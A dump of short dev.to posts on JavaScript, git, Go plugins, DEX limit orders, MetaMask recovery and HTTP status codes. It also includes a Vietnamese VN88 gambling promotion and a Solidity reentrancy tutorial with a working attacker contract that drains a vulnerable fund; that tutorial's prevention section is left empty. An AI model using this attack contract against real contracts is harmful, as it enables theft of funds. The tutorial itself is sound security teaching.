teleren/devto huggingface dataset:
Array flattening
Tags: javascript, webdev
Published: 2023-06-21 07:51:23

<aside>
💡 It is a process through which we can reduce the dimension of the array

</aside>

- We can use concat() method for flattening the array

```jsx
let arr = [[1,2],[3,[4,9]],[5,6]];

let flattened= [].concat(...arr);
console.log(flattened); //[ 1, 2, 3, [ 4, 9 ], 5, 6 ]
```

- Use array.flat() method, here you have to give the depth level of the array
    
    for example: array.flat(2)
    
    ```jsx
    let arr = [[1,2],[3,[4,9]],[5,6]];
    
    console.log(arr.flat(2)); //[ 1, 2, 3,  4, 9 , 5, 6 ]
    ```
    
- We can also make our own custom flat function for an array with the help of recursion

```jsx
let arr = [[1,2],[3,[4,9]],[5,6]];

function customFlat(arr, dept = 1){
    let result = [];
    arr.forEach((ar) => {
        if(Array.isArray(ar) && dept>0){
            result.push(...customFlat(ar, dept-1))
        } else result.push(ar)
    });
    return result;
}

console.log(customFlat(arr, 2));
```
JavaScript has no sleep function, but we can easily solve it this way!
Tags: javascript, promise, sleep, tips
Published: 2023-06-21 07:32:07

**In order to make your browser sleep, just write this line of code:**

```javascript
await new Promise(_ => setTimeout(_, 2000));
```

_This will make the browser sleep for 2 seconds (2000ms)._

> Please note that it works in modern browsers only (> 2017)! See browser compatibility for _await_ on [caniuse.com](https://caniuse.com/?search=await).

## Let's create a reusable sleep function

```javascript
const sleep = (ms = 2000) => new Promise(_ => setTimeout(_, ms));
```

Or with a more _old days'_ notation:

```javascript
function sleep(ms = 2000) { 
  return new Promise(function(_) {
    return setTimeout(_, ms)
  });
}
```

> If you want to explore other features of _Promise_ you can browse the [MDN Doc](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise).

### How to use it

```javascript
console.log(`Let's wait for 5s`);

await sleep(5000); // 5000ms = 5seconds

console.log(`5s have passed`);
```

Result in console:

```
> Let's wait for 5s
[waiting for 5 seconds]
> 5s have passed 
```

### Top-level await issue

Using _top-level await_ might not work in some old browser/node versions. To solve this problem we can wrap our code
with an _immediately-invoked async function_.

```javascript
(async function() {

  console.log(`Let's wait for 5s`);

  await sleep(5000);

  console.log(`5s have passed`);

}());  
```

## Sleep function in old browsers

Just a note about _Sleep_ function in old browser: it has usually been written this way, but it's definitely not
"performance friendly".

```javascript
function sleep(mss) {
  const date = Date.now();
  let currentDate = null;
  do {
    currentDate = Date.now();
  } while(
    currentDate - date < milliseconds);
}
```

## Demo

I created a [stackblitz project](https://stackblitz.com/edit/sleep-function?file=index.js) with a simple example.
GitUI 0.23 supports rewording commits and more fuzzy finding
Tags: git, rust, terminal, productivity
Published: 2023-06-21 07:22:05

[GitUI](https://github.com/extrawurst/gitui) is a terminal UI for git written in Rust. We aim to simplify common git tasks in a fast, keyboard-only and cross platform way without leaving your beloved CLI.

## Release Highlights

* rewording previous commits (via rebase)
* resetting (hard/soft..) to any commit
* fuzzy finding/search in branches view
* show remote branches in log view
* [much more](https://github.com/extrawurst/gitui/releases/tag/v0.23.0)

Thanks for your interest and support!❤️
Bước 2: Nạp tiền vào tài khoản để tham gia trò chơi bắn cá VN88
Published: 2023-06-21 07:08:20

Trò chơi bắn cá VN88 là một trong số những trò chơi trực tuyến cho phép game thủ đổi tiền thật nếu giành được chiến thắng. Do đó, bạn cần nạp tiền vào tài khoản trước khi trải nghiệm game.

Trong bước này người chơi được yêu cầu phải trải qua hai thao tác đó là nạp tiền vào tài khoản và chuyển quỹ.  Tiền sau khi nạp sẽ được nhập vào ví tổng của hệ thống. 

Tiền chuyển quỹ thì bạn thực hiện theo cách sau: Chuyển tiền vào quỹ của nhà cái Vn88 hoàn tất -> chọn Quỹ mà người chơi muốn nạp -> chọn chuyển quỹ chính sang quỹ Bắn cá của nhà cái.
XEM THÊM: 
https://vn888.io/ban-ca-vn88/ 
https://vn888.io/
Embracing Failure: What's Your Most Valuable Lesson as a Developer?
Tags: discuss
Published: 2023-06-21 07:00:00

We've all encountered setbacks and faced failures along our coding journeys, but they often serve as powerful teachers that help us grow and evolve. So, let's take a moment to reflect on those experiences that left us scratching our heads or may have had us feeling defeated at the time. 

Share a story about a failure or setback you encountered as a developer and how it shaped your perspective and growth. 

Follow the DEVteam for more discussions and online camaraderie!

{% embed [https://dev.to/devteam](https://dev.to/devteam) %}

[Image by pch.vector on Freepik](https://www.freepik.com/author/pch-vector)
Mastering Interviews: How Do You Explain Complex Tech Concepts to Non-Techies?
Tags: discuss, beginners, codenewbie, interview
Published: 2023-06-21 07:00:00

Okay, let's do a little interview prep today. It's important that you be able to demonstrate an ability to bridge the gap between tech and non-tech worlds. So, how would you answer this question if it came up in a job interview?

> When it comes to non-technical team members or stakeholders, how do you effectively communicate complex technical concepts? 

Newbies and experienced devs, alike: please share your proven strategies and techniques for breaking down the intricacies of coding and technology into digestible information. 
---
Follow the [CodeNewbie Org](https://dev.to/codenewbieteam) and [#codenewbie](https://dev.to/t/codenewbie) for more discussions and online camaraderie!

*{% embed* https://dev.to/codenewbieteam *%}*

Image by <a href="https://www.freepik.com/free-photo/people-carrying-burden-concept_36029275.htm#query=complicated%20concepts&position=30&from_view=search&track=ais">Freepik</a>
git add, commit, push với 1 command duy nhất
Tags: git
Published: 2023-06-21 06:41:58

## Nói trước 

dành cho những bạn "tui biết tui đang muốn làm gì" 

## thao tác 

mở file `~/.bashrc` và thêm dòng này vào 

```bash
function gacp() {
    git add .
    git commit -a -m "$1"
    git push
}
```

hoặc dòng này nếu muốn dùng alias thay vì function, cred: [Lê Ngọc Thắng ](https://www.facebook.com/ygthlee?comment_id=Y29tbWVudDo2OTkxMzQ4MjE0MjEzMjk4XzEwMTMyNjM2MjYyODM2MDI%3D)

```bash 
alias gacp='git add . && git commit -am "$1" && git push'
```


enjoy bằng 

```bash 
$ gacp finish feature 08

# kết quả sẽ như sau 
# [master 9be82ff] update
#  2 files changed, 36 insertions(+), 15 deletions(-)
#  rewrite ... (84%)
# Enumerating objects: 11, done.
# Counting objects: 100% (11/11), done.
# Delta compression using up to 6 threads
# Compressing objects: 100% (5/5), done.
# Writing objects: 100% (6/6), 1.19 KiB | 609.00 KiB/s, done.
# Total 6 (delta 1), reused 0 (delta 0), pack-reused 0
# remote: Analyzing objects... (6/6) (8 ms)
# remote: Storing packfile... done (57 ms)
# remote: Storing index... done (48 ms)
# To https://.../_git/...
#    e6c3f7e..9be82ff  master -> master
```
Multiple git configs (profiles) on one computer
Tags: git
Published: 2023-06-21 06:41:16

## How to let git know which profile should be used in specific folders?

Imagine that you’re working for over one company. each company you have a different name, and a separate email address. Using a global git profile with your personal email address works, but GitLab won’t display your avatar correctly as your account email. So how to do that?

The include and includeIf sections allow you to include config directives from another source. So my idea is creating a separate folder for each environment (or company) and then using includeIf to let gitconfig including the correct config profile. Try it now!

## Step 1: Create a separate folder for each environment
`personal`: For personal projects
`google`: For Google projects
`facebook`: For Facebook projects

## Step 2: Create gitconfig file for each environment
You can create files anywhere with the following content:

**~/.gitconfig-personal**
```
[user]
	name = JackTT
	email = jacktt@gmail.com
```

**~/.gitconfig-google**
```
[user]
	name = JackTT
	email = jacktt@google.com
```

**~/.gitconfig-facebook***
```
[user]
	name = JackTT
	email = jacktt@facebook.com
```

## Step 3: Create the main gitconfig
Create `~/.gitconfig` file with the following content:

```
[includeIf "gitdir:/Volumes/Data/personal/"]
	path = ~/.gitconfig-personal
[includeIf "gitdir:/Volumes/Data/google/"]
	path = ~/.gitconfig-google
[includeIf "gitdir:/Volumes/Data/facebook/"]
        path = ~/.gitconfig-facebook

```

Now, cd to the personal folder then type “ git config user.email”, you can see jack@gmail.com. Try it in the google folder, you will see “jack@google.com”.

## References
https://git-scm.com/docs/git-config#_includes
[Solidity] Reentrancy vulnerability
Tags: solidity, blockchain, security
Published: 2023-06-21 06:35:57

## What is Reentrancy vulnerability
Reentrancy vulnerability is a type of vulnerability that occurs when a contract calls an external contract in a way that allows the external contract to call back into the original contract before the original contract has finished executing. This can lead to unexpected and potentially malicious behavior.
```solidity
contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
}
```
The problem is the withdraw function updates balance after transfered successfully to sender. Thefore, if an attacker were to create a malicious version of the IERC20 contract that calls the withdraw function of the Fund contract as part of its own execution, it could potentially create an infinite loop in this step (transfering step).
Attacker's contract will look like:
```solidity
contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}
```

Here is a summary of how an attacker could use a malicious contract to create an infinite loop in the DepositFunds contract:
1. The attacker creates a malicious contract that calls the withdraw function of the DepositFunds contract as part of its own execution.
2. The attacker calls the deposit function of the DepositFunds contract, sending some Ether to the contract.
The attacker calls the withdraw function of the DepositFunds contract using the malicious contract.
3. The DepositFunds contract calls the call function of the malicious contract, sending the Ether to the attacker.
4. The malicious contract calls the withdraw function of the DepositFunds contract again as part of its own execution.
5. This process repeats indefinitely, creating an infinite loop.

## How to prevent this type of attack
To prevent this type of attack, it is important to carefully consider the potential interactions between contracts and to ensure that any external contract calls are properly guarded against reentrancy. This can be done by marking this process is handing.
For example:

## Reference
https://hackernoon.com/hack-solidity-reentrancy-attack
Decentralized Exchange limit-order — Why not?
Tags: blockchain
Published: 2023-06-21 06:31:48

## What is limit-order feature?

Imagine you’re trading Token A at a price of $0.1, and your target is $1. Typically, you would need to set a price alert on a platform such as Coinmarketcap or Dexscreen and manually take profit when the price reaches your target. However, what if the price hits your target while you’re sleeping? You may miss this trade. This is why the limit-order feature was created.

The limit-order feature allows traders to set a price threshold for executing trades “automatically” when the specified price is reached.

You can use DEXs such as 1inch and PancakeSwap to execute limit orders, but the implementation of the feature differs between the two platforms. Let’s take a look at how they differ.

## Limit-order on Pancakeswap

Limit-order feature on PancakeSwap
When you place a limit-order on PancakeSwap, your tokens will be sent to PancakeSwap contract. Of course you need to pay gas fee for each limit-order request.

Who will execute your order?
PancakeSwap’s backend system will keep checking the price and execute your order when the price reaches your target. In this model, your order is executed similarly to how you swap on PancakeSwap via a liquidity pool, which means that your order can impact the market price.

## Limit-order on 1inch

Limit-order feature on 1inch
When placing a limit order on 1inch, you simply need to sign a message, and your tokens will remain in your wallet until the order is executed. This means that you do not need to pay any gas fees for your orders.

Who will execute your order?
When you place a limit order on 1inch, your order is sent to the 1inch backend. All orders are public and can be accessed by anyone through a public API. These individuals, also known as ‘fulfillers,’ can call 1inch’s API to retrieve pending orders and identify orders that match their criteria, such as a profitable price or specific token. They can then execute the orders by calling the ‘fulfillOrder’ function in 1inch’s smart contract.

In this model, 1inch serves as a platform that connects two-sided markets, namely buyers and sellers. This model is similar to over-the-counter (OTC) trading, which means that all executions do not impact market prices because assets are transferred directly instead of being swapped via liquidity pools.

## Conclusion

On some DEXs, you can place limit orders similarly to how you would on CEXs such as Binance, Gate.io, Huobi, and others.

Utilizing decentralized exchanges such as 1inch and PancakeSwap enables traders to execute limit orders, although the feature’s implementation differs between these platforms:

With PancakeSwap, tokens are sent to the platform’s contract, and gas fees are required for each limit order request, while 1inch allows users to sign a message and keep tokens in their wallet until the order is fulfilled, without incurring any gas fees.
On 1inch, orders are executed by “fulfiller” while on PancakeSwap, they’re executed by PancakeSwap’s backend.
Plugin in Golang
Tags: go
Published: 2023-06-21 06:29:45

# Golang plugin implementation
This repository explores the plugin feature introduced in Go 1.8, providing a example to help you understand and utilize this powerful functionality.
## About plugin feature in Golang
Starting from Go 1.8, developers have the ability to write plugins and load them dynamically at runtime. This feature adds a new level of flexibility to Go programs, allowing for modular and extensible designs. With plugins, you can extend your application's functionality without the need to recompile or redeploy the entire codebase.

## Key benefit
- Dynamic Loading: Plugins can be loaded and unloaded dynamically at runtime, enabling the addition or removal of functionality without disrupting the main program.
- Flexibility: Unlike traditional library imports, which are resolved at build time, plugins offer a more flexible approach. They can be swapped or updated independently, giving you the freedom to iterate and experiment with different implementations.
- Modularity: The plugin feature promotes a modular design pattern by encapsulating specific functionalities in separate components. This enhances code organization, reusability, and maintainability.
- Encapsulation: Plugins run in their own isolated namespaces, preventing conflicts between different plugins or the main program. This allows for secure and reliable extensibility.

## How to run this example:
1. Build plugins
```shell
 go build -buildmode=plugin -o ./plugins/eng/eng.so ./plugins/eng/speaker.go
```

You can use the Makefile to quickly build all plugins:
```shell
make build-plugins
```

2. Run
```shell
go run main.go english

# Alice says "hello" in English

go run main.go vietnamese

# Anh Thư says "xin chào" in Vietnamese
```

## How to implement a plugin
- A plugin package must be identified as main.
- Exported package functions and variables become shared library symbols. In the above, variable Speaker will be exported as a symbol in the compiled shared library.

Example implementation:
```go
package main

type speaker struct {
}

func (s *speaker) Speak() string {
	return "hello"
}

// Exported
var Speaker speaker
var SpeakerName = "Alice"
```

In this example, we are exporting both the `Speaker` type and the `SpeakerName` variable, which are referred to as `symbols` in the context of plugins. By exporting these symbols, we enable their accessibility and visibility to other packages and modules that import them.

## How to open plugin
```go
plugin, err := plugin.Open("path/to/plugin.so")
if err != nil {
    return err
}
```

## How to look up symbol

You can look up the symbol that has been exported in plugin implementation by the following syntax:
```go
symSpeaker, err := plugin.Lookup("Speaker")
if err != nil {
  return err
}

var speaker Speaker
speaker, ok := symSpeaker.(Speaker)
if !ok {
    return errors.New("unexpected type from module symbol")
}
speaker.Speak()
```

## Example implementation
https://github.com/huantt/golang-plugin-examle
How to Restore multiple Meta Mask Accounts: Tips and Tricks no one tells you !
Tags: metamask, tutorial, community, cryptocurrency
Published: 2023-06-21 05:56:21

MetaMask is a popular cryptocurrency wallet and browser extension that allows users to securely manage their digital assets and interact with decentralized applications (dApps) on the Ethereum blockchain. In this blog post, we will provide you with a step-by-step guide on how to restore your MetaMask accounts, ensuring that you can regain access to your funds and continue using the platform seamlessly.

Why Restore Your MetaMask Accounts?
Recently I was doing some experiments to help my QA team member resolve his issues regarding the automation script. I somehow ended up corrupting my Metamask extension in Google Chrome. And it ended badly for me, so once it got corrupted chrome asked me to get it repaired, and I followed. And once it finished the repairing process (it in fact reinstalled the extension), BOOM all my Accounts were gone and it was a fresh Metamask installation altogether. So, this was my reason, but you can have any of the following scenarios as well:

– You have lost or forgotten your MetaMask password.

– Your computer or device has been damaged, lost, or stolen.

– You have recently switched to a new device and want to transfer your accounts.

So I was devastated, but then I remembered that I do have my recovery phrase safely stored. So, I followed these steps to restore my MetaMask account:

Step 1: Install MetaMask: If you don’t have MetaMask installed, download and install it on your device from the official website.

Step 2: Launch MetaMask: Open the MetaMask extension or application on your device.

Step 3: Click “Get Started” or “Import Wallet”: On the MetaMask welcome screen, select the option to restore an existing wallet using a seed phrase.

Step 4: Enter Seed Phrase: Input your 12 or 24-word seed phrase in the correct order. Double-check the words for accuracy, as a single mistake can lead to the loss of your funds.

Step 5: Set New Password: After entering the seed phrase, you will be prompted to set a new password for your MetaMask account. Choose a strong, unique password to secure your wallet.

But as expected it only recovered the first account (Account 1) by default, what about all the other 10+ accounts that I have created with Metamask, did I just lose them? After a brief googling, I found out that there is a way to get those accounts back, they are just there only.

_**To Check the Step by Step Process please check the blog on our website
Link: https://techforceglobal.com/blog/how-to-restore-multiple-metamask-accounts-a-detailed-guide-with-tips-and-tricks/
Contact us if you have any questions or feedback.
We’re always here to help!
https://techforceglobal.com/contact-us/**_

Join the conversation by leaving a comment below and do follow us to get new updates about the crypto world!
A cool looking menu card
Tags: codepen, html, css, htmlcard
Published: 2023-06-21 05:46:42


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vnutsot7qsjen5i511v6.PNG)
{% codepen https://codepen.io/haasim_niyas007/pen/KKrMbEX %}
API Status code
Published: 2023-06-21 05:29:24

**Status Codes**

HTTP status codes are three-digit numbers returned by a server to indicate the status of a requested HTTP transaction. Here are some common status codes


**1XX Informational:**
-   100 Continue
-   101 Switching Protocols
-   102 Processing

**2XX Success:**
-   200 OK
-   201 Created
-   202 Accepted
-   203 Non-authoritative Information
-   204 No Content
-   205 Reset Content
-   206 Partial Content
-   207 Multi-Status
-   208 Already Reported
-   226 IM Used

**3XX Redirectional:**
-   300 Multiple Choices
-   301 Moved Permanently
-   302 Found
-   303 See Other
-   304 Not Modified
-   305 Use Proxy
-   307 Temporary Redirect
-   308 Permanent Redirect

**4XX Client Error:**  
-   400 Bad Request
-   401 Unauthorized
-   402 Payment Required
-   403 Forbidden
-   404 Not Found
-   405 Method Not Allowed
-   406 Not Acceptable
-   407 Proxy Authentication Required
-   408 Request Timeout
-   409 Conflict
-   410 Gone
-   411 Length Required
-   412 Precondition Failed
-   413 Payload Too Large
-   414 Request-URI Too Long
-   415 Unsupported Media Type
-   416 Requested Range Not Satisfiable
-   417 Expectation Failed
-   418 I'm a teapot
-   421 Misdirected Request
-   422 Unprocessable Entity
-   423 Locked
-   424 Failed Dependency
-   426 Upgrade Required
-   428 Precondition Required
-   429 Too Many Requests
-   431 Request Header Fields Too Large
-   444 Connection Closed Without Response
-   451 Unavailable For Legal Reasons
-   499 Client Closed Request

**5XX Server Error:**
-   500 Internal Server Error
-   501 Not Implemented
-   502 Bad Gateway
-   503 Service Unavailable
-   504 Gateway Timeout
-   505 HTTP Version Not Supported
-   506 Variant Also Negotiates
-   507 Insufficient Storage
-   508 Loop Detected
-   510 Not Extended
-   511 Network Authentication Required
-   599 Network Connect Timeout Error
Creating Async APIs with webMethods Developer Portal
Tags: video, api, asynchronous, webmethods
Published: 2023-06-22 12:41:58

---
title: Creating Async APIs with webMethods Developer Portal
published: true
date: 2023-06-21 05:00:01 UTC
tags: Video, api, asynchronous, webmethods
canonical_url: https://tech.forums.softwareag.com/t/creating-async-apis-with-webmethods-developer-portal/280115
---

{% embed https://www.youtube.com/watch?v=uZH8xs1TrOk %}
## About

The example demonstrates the webMethods Developer Portal’s robust capabilities for building asynchronous APIs. The webMethods Developer Portal makes it simple for developers to create and publish APIs that enable asynchronous communication patterns, facilitating effective and scalable system interactions.

## Read more

[Proxying events through API Gateway (aka Async APIs)](https://tech.forums.softwareag.com/t/proxying-events-through-api-gateway-aka-async-apis/264553)

[Read full topic](https://tech.forums.softwareag.com/t/creating-async-apis-with-webmethods-developer-portal/280115)